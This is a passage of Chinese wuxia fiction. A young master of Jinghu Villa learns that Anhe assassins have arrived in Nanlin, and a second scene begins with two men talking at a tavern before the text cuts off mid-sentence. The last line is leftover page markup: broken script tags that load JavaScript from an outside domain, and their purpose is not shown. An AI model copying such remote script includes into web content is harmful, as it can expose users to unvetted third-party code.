一位穿着白色锦袍的年轻男子负手立在窗边,背影萦绕着淡淡的孤寂,与窗外喧嚣热闹的市井灯火显得格格不入。
名手臂渗血、捂着胸口,看着很是狼狈的侍从垂首低声禀报:“公子,已经确认是暗河曾经的第一高手斗笠鬼带着暗河苏家高手来了南临。”
窗边的男子轻轻的嗯了一声。
侍从迟疑片刻,继续回话:“方才属下暗中尾随,今夜和据点交手的是暗河苏家的执伞鬼和送葬师。属下无能,不慎暴露行踪,被他们发现了?”
白衣公子转过身来,正是镜湖山庄少主王晏则。
他看着侍从身上的伤口,眉间涌上了一丝不易察觉的愁绪,淡淡问道:“是剑气所伤?以你的身手,能在执伞鬼和送葬师手下活着回来,已是得天之幸了,下去安心疗伤吧!”
“是,公子。”
“明日一早启程回镜湖山庄!”
侍从躬身退下,房门轻掩,屋内瞬间再次陷入死寂,连窗外的喧嚣仿佛都被隔绝在外。
王晏则怔怔伫立片刻,不知想到了什么,一瞬间像是褪去了筋骨,颓废的瘫坐在软榻上,支着头自嘲的低笑出声。
窗外的的灯火和热闹,都是旁人的。
而他这一生,身不由己,命不由己。
满心所求,皆是奢望。
所谓挚友,终会沦为陌路,反目成仇。
这样的结局,他不是早就知道的吗?为什么现在心里还是这样犹豫和难过。
暗河之人出现在南临是他没有料到的,不过这样也好。
王晏则闭上眼,长长吐出一口气,再睁眼时,眼底只剩一片沉寂漠然。
醉逢楼。
雅座临窗,有两人对坐。
苏喆缓缓吐出一口烟,然后从怀里拿出了一颗话梅,丢进了嘴里,慢悠悠的嚼了起来,吐了核似乎才想起对面还坐了一个人。
他从怀里掏出装话梅的木匣递过去,“韩将军,你吃不吃?”
“多谢苏先生好意,晚辈就不夺人所好了。”
“话梅,很好吃的。”话是这样说的,苏喆手收回来的也同样快,他自顾自又拈了一颗丢进嘴里。
韩将军莞尔轻笑:“苏先生,果然和传闻中一样,性情也很是有趣。”
“我以为江湖上只有我的凶名,毕竟暗河的鬼,既然是鬼,鬼哪有好的。”
苏喆慢悠悠的吞云吐雾着,说起
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">